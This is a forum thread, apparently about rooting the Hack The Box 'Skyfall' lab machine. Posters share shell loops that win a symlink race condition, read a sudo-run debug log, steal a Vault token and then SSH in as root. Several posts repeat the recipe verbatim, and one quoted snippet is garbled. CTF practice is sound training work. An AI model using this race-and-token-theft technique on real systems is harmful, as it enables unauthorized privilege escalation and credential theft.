[Qwerty999]

Hi everyone, as you know, since the Skyfall box has been patched, there is no direct way to read debug.log after launching the sudo command with the debug flag. Instead, we need to exploit the race condition vulnerability

the vulnerability arises from the timing window between the creation and removal of the symlink. If the symlink is created just before the sudo command writes to the debug.log file, the cat command can read from the debug.log file via the symlink, allowing unauthorized access to the log data

open three SSH sessions using the same vault command: " ./vault ssh -role dev_otp_key_role -mode otp askyy@10.10.11.254 "

in the first session, run "while true; do touch /home/askyy/debug.log; ln -sf /home/askyy/debug.log /dev/shm/symlink.log; rm /dev/shm/symlink.log; done"

in the second "while true; do cat /dev/shm/symlink.log; done"

and in the last one "sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd". Check the second terminal after each attempt to see if you're able to read the data

after that, execute "export VAULT_TOKEN="[data_you_find]"

and finally "./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254"


Good Luck!

[Unbutton8074]

looks like really hard to trigger, tried to trigger almost 20 restarts and no luck

[aabdala]

Hi, what is the password to connect?
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.254' (ED25519) to the list of known hosts.
(askyy@10.10.11.254) Password:
(askyy@10.10.11.254) Password:

[mycatdante]

https://ibb.co/QXDY46k

a.com/ctf/htb/htb-writeup-skyfall/#toc-head-7
# Source: Axura's Blog

Copy paste from the article:

To exploit this, we need to: 
Rapidly switch the symbolic link's target between two files. 
Ensure that the switch happens in the small window between the access and fopen calls in the vulnerable program.

[xiliobingo]

is the site broken or the previous message broke it??

---

https://ibb.co/QXDY46k

a.com/ctf/htb/htb-writeup-skyfall/#toc-head-7
# Source: Axura's Blog

Copy paste from the article:

To exploit this, we need to: 
Rapidly switch the symbolic link's target between two files. 
Ensure that the switch happens in the small window between the access and fopen calls in the vulnerable program.

this blog https://4xura.com/ctf/htb-writeup-skyfall/
do you have the passord for it

[whipped]

Hi everyone, as you know, since the Skyfall box has been patched, there is no direct way to read debug.log after launching the sudo command with the debug flag. Instead, we need to exploit the race condition vulnerability

the vulnerability arises from the timing window between the creation and removal of the symlink. If the symlink is created just before the sudo command writes to the debug.log file, the cat command can read from the debug.log file via the symlink, allowing unauthorized access to the log data

open three SSH sessions using the same vault command: " ./vault ssh -role dev_otp_key_role -mode otp askyy@10.10.11.254 "

in the first session, run "while true; do touch /home/askyy/debug.log; ln -sf /home/askyy/debug.log /dev/shm/symlink.log; rm /dev/shm/symlink.log; done"

in the second "while true; do cat /dev/shm/symlink.log; done"

and in the last one "sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd". Check the second terminal after each attempt to see if you're able to read the data

after that, execute "export VAULT_TOKEN="[data_you_find]"

and finally "./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254"


Good Luck!

For anyone looking at doing this, follow the above, but replace the "while true; do cat /dev/shm/symlink.log; done" with "while true; do cat /dev/shm/symlink.log 2>/dev/null; done", to suppress the file not found errors.

Then, instead of running the final command manually, just wrap it in a while loop as well with "while true; do sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd; done"

After a little while the race should be won. Hope that helps

[vegantiger]

Hi everyone, as you know, since the Skyfall box has been patched, there is no direct way to read debug.log after launching the sudo command with the debug flag. Instead, we need to exploit the race condition vulnerability

the vulnerability arises from the timing window between the creation and removal of the symlink. If the symlink is created just before the sudo command writes to the debug.log file, the cat command can read from the debug.log file via the symlink, allowing unauthorized access to the log data

open three SSH sessions using the same vault command: " ./vault ssh -role dev_otp_key_role -mode otp askyy@10.10.11.254 "

in the first session, run "while true; do touch /home/askyy/debug.log; ln -sf /home/askyy/debug.log /dev/shm/symlink.log; rm /dev/shm/symlink.log; done"

in the second "while true; do cat /dev/shm/symlink.log; done"

and in the last one "sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd". Check the second terminal after each attempt to see if you're able to read the data

after that, execute "export VAULT_TOKEN="[data_you_find]"

and finally "./vault ssh -role admin_otp_key_role -mode otp root@10.10.11.254"


Good Luck!

For anyone looking at doing this, follow the above, but replace the "while true; do cat /dev/shm/symlink.log; done" with "while true; do cat /dev/shm/symlink.log 2>/dev/null; done", to suppress the file not found errors.

Then, instead of running the final command manually, just wrap it in a while loop as well with "while true; do sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -vd; done"

After a little while the race should be won. Hope that helps

Thank you bro